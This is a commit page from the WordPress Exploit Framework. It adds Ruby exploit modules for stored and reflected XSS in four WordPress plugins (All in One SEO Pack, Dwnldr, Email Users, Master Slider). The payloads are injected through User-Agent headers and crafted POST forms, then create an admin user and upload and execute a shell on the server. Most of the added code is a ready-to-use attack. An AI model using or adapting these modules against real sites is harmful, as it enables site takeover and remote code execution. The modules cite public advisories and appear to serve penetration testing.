Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 8a6f8f5

Browse files
rastatingrastating
committed
Merged development into master
2 parents e610ada + 890f054 commit 8a6f8f5

10 files changed

+463
-6
lines changed

‎Gemfile

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
source 'https://rubygems.org'
2-
gem 'colorize', '>=0.7'
3-
gem 'mime-types', '>=3.0'
4-
gem 'nokogiri', '~>1.6.7'
2+
gem 'colorize', '>=0.8.1'
3+
gem 'mime-types', '>=3.1'
4+
gem 'nokogiri', '~>1.6.8'
55
gem 'slop', '~>4.3'
6-
gem 'typhoeus', '~>1.0.1'
6+
gem 'typhoeus', '~>1.1.0'
77
gem 'require_all', '~>1.3.3'
88
gem 'rubyzip', '~>1.2'
99

1010
group :test do
11-
gem 'rspec', '~>3.4'
11+
gem 'rspec', '~>3.5'
1212
end

‎lib/wpxf/wordpress/fingerprint.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def check_plugin_version_from_readme(name, fixed = nil, introduced = nil)
6262
# @return [Symbol] :unknown, :vulnerable or :safe.
6363
def check_plugin_version_from_changelog(plugin_name, file_name, fixed = nil, introduced = nil)
6464
changelog = normalize_uri(wordpress_url_plugins, plugin_name, file_name)
65-
check_version_from_custom_file(changelog, /=\s(\d\.\d(\.\d)?)\s=/, fixed, introduced)
65+
check_version_from_custom_file(changelog, /=\s([\d\.]+)\s=/, fixed, introduced)
6666
end
6767

6868
# Checks a custom file for a vulnerable version.

‎lib/wpxf/wordpress/xss.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,12 @@ module Wpxf::WordPress::Xss
1111
def initialize
1212
super
1313
@success = false
14+
@info[:desc] = 'This module stores a script which will be executed when '\
15+
'an admin user visits the vulnerable page. Execution of the script '\
16+
'will create a new admin user which will be used to upload '\
17+
'and execute the selected payload in the context of the '\
18+
'web server.'
19+
1420
register_options([
1521
StringOption.new(
1622
name: 'xss_host',

‎modules/exploits/all_in_one_seo_pack_xss_shell_upload.rb

Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
class Wpxf::Exploit::AllInOneSeoPackXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'All in One SEO Pack <= 2.3.6.1 Stored XSS Shell Upload',
9+
desc: %(
10+
This module exploits a lack of HTTP header sanitization in
11+
versions <= 2.3.6.1 of the All in One SEO Pack plugin which
12+
allows unauthenticated users to store a script that will
13+
create a new admin user and use the new credentials to upload
14+
and execute a payload when an admin views the blocked bot logs.
15+
).strip,
16+
author: [
17+
'David Vaartjes', # Disclosure
18+
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
],
20+
references: [
21+
['WPVDB', '8538'],
22+
['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html']
23+
],
24+
date: 'Jul 10 2016'
25+
)
26+
end
27+
28+
def check
29+
check_plugin_version_from_readme('all-in-one-seo-pack', '2.3.6.2')
30+
end
31+
32+
def blocked_bots
33+
[
34+
'Abonti',
35+
'aggregator',
36+
'AhrefsBot',
37+
'asterias',
38+
'BDCbot',
39+
'BLEXBot',
40+
'BuiltBotTough',
41+
'Bullseye',
42+
'BunnySlippers',
43+
'ca-crawler',
44+
'CCBot',
45+
'Cegbfeieh',
46+
'CheeseBot',
47+
'CherryPicker',
48+
'CopyRightCheck',
49+
'cosmos',
50+
'Crescent',
51+
'discobot',
52+
'DittoSpyder',
53+
'DotBot',
54+
'Download Ninja',
55+
'EasouSpider',
56+
'EmailCollector',
57+
'EmailSiphon',
58+
'EmailWolf',
59+
'EroCrawler',
60+
'Exabot',
61+
'ExtractorPro',
62+
'Fasterfox',
63+
'FeedBooster',
64+
'Foobot',
65+
'Genieo',
66+
'grub-client',
67+
'Harvest',
68+
'hloader',
69+
'httplib',
70+
'HTTrack',
71+
'humanlinks',
72+
'ieautodiscovery',
73+
'InfoNaviRobot',
74+
'IstellaBot',
75+
'Java/1.',
76+
'JennyBot',
77+
'k2spider',
78+
'Kenjin Spider',
79+
'Keyword Density/0.9',
80+
'larbin',
81+
'LexiBot',
82+
'libWeb',
83+
'libwww',
84+
'LinkextractorPro',
85+
'linko',
86+
'LinkScan/8.1a Unix',
87+
'LinkWalker',
88+
'LNSpiderguy',
89+
'lwp-trivial',
90+
'magpie',
91+
'Mata Hari',
92+
'MaxPointCrawler',
93+
'MegaIndex',
94+
'Microsoft URL Control',
95+
'MIIxpc',
96+
'Mippin',
97+
'Missigua Locator',
98+
'Mister PiX',
99+
'MJ12bot',
100+
'moget',
101+
'MSIECrawler',
102+
'NetAnts',
103+
'NICErsPRO',
104+
'Niki-Bot',
105+
'NPBot',
106+
'Nutch',
107+
'Offline Explorer',
108+
'Openfind',
109+
'panscient.com',
110+
'PHP/5.{',
111+
'ProPowerBot/2.14',
112+
'ProWebWalker',
113+
'Python-urllib',
114+
'QueryN Metasearch',
115+
'RepoMonkey',
116+
'RMA',
117+
'SemrushBot',
118+
'SeznamBot',
119+
'SISTRIX',
120+
'sitecheck.Internetseer.com',
121+
'SiteSnagger',
122+
'SnapPreviewBot',
123+
'Sogou',
124+
'SpankBot',
125+
'spanner',
126+
'spbot',
127+
'Spinn3r',
128+
'suzuran',
129+
'Szukacz/1.4',
130+
'Teleport',
131+
'Telesoft',
132+
'The Intraformant',
133+
'TheNomad',
134+
'TightTwatBot',
135+
'Titan',
136+
'toCrawl/UrlDispatcher',
137+
'True_Robot',
138+
'turingos',
139+
'TurnitinBot',
140+
'UbiCrawler',
141+
'UnisterBot',
142+
'URLy Warning',
143+
'VCI',
144+
'WBSearchBot',
145+
'Web Downloader/6.9',
146+
'Web Image Collector',
147+
'WebAuto',
148+
'WebBandit',
149+
'WebCopier',
150+
'WebEnhancer',
151+
'WebmasterWorldForumBot',
152+
'WebReaper',
153+
'WebSauger',
154+
'Website Quester',
155+
'Webster Pro',
156+
'WebStripper',
157+
'WebZip',
158+
'Wotbox',
159+
'wsr-agent',
160+
'WWW-Collector-E',
161+
'Xenu',
162+
'Zao',
163+
'Zeus',
164+
'ZyBORG',
165+
'coccoc',
166+
'Incutio',
167+
'lmspider',
168+
'memoryBot',
169+
'SemrushBot',
170+
'serf',
171+
'Unknown',
172+
'uptime files'
173+
]
174+
end
175+
176+
def store_script
177+
emit_info 'Storing script...'
178+
res = execute_get_request(
179+
url: full_uri,
180+
headers: {
181+
'User-Agent' => "#{blocked_bots.sample}<script>#{xss_ascii_encoded_include_script}</script>"
182+
}
183+
)
184+
185+
if res.nil?
186+
emit_error 'No response from the target'
187+
return false
188+
end
189+
190+
if res.code != 503
191+
emit_warning "Server responded with code #{res.code}, expected 503"
192+
end
193+
194+
true
195+
end
196+
197+
def run
198+
return false unless super
199+
return false unless store_script
200+
201+
emit_success 'Script stored and will be executed when a user views the blocked bots log'
202+
start_http_server
203+
204+
xss_shell_success
205+
end
206+
end

‎modules/exploits/dwnldr_xss_shell_upload.rb

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Dwnldr 1.0 XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8556'],
14+
['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
15+
],
16+
date: 'Jul 18 2016'
17+
)
18+
19+
register_options([
20+
StringOption.new(
21+
name: 'attachment_link',
22+
desc: 'The address of a valid attachment download link',
23+
required: true
24+
)
25+
])
26+
end
27+
28+
def check
29+
check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
30+
end
31+
32+
def run
33+
return false unless super
34+
35+
emit_info 'Storing script...'
36+
res = execute_get_request(
37+
url: datastore['attachment_link'],
38+
headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
39+
)
40+
41+
if res.nil?
42+
emit_error 'No response from the target'
43+
return false
44+
end
45+
46+
if res.code != 200
47+
emit_error "Server responded with code #{res.code}"
48+
return false
49+
end
50+
51+
emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
52+
start_http_server
53+
54+
xss_shell_success
55+
end
56+
end

‎modules/exploits/email_users_reflected_xss_shell_upload.rb

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::EmailUsersReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Email Users <= 4.8.2 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8549'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_email_users_wordpress_plugin.html']
16+
],
17+
date: 'Jul 12 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('email-users', '4.8.3')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php')
27+
end
28+
29+
def initial_script
30+
%|<html><head></head><body><script>
31+
#{js_post}
32+
post('#{vulnerable_url}?page=mailusers-user-settings', {
33+
page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
34+
});
35+
</script></body></html>
36+
|
37+
end
38+
end

‎modules/exploits/master_slider_reflected_xss_shell_upload.rb

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::MasterSliderReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Master Slider <= 2.7.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8548'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_master_slider_wordpress_plugin.html']
16+
],
17+
date: 'Jul 12 2016'
18+
)
19+
end
20+
21+
def check
22+
change_log = normalize_uri(wordpress_url_plugins, 'master-slider', 'README.txt')
23+
check_version_from_custom_file(change_log, /Version\s([\d\.]+)\s/, '2.7.2')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def initial_script
31+
%|<html><head></head><body><script>
32+
#{js_post}
33+
post('#{vulnerable_url}?page=master-slider', {
34+
page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
35+
});
36+
</script></body></html>
37+
|
38+
end
39+
end

0 commit comments

Comments
 (0)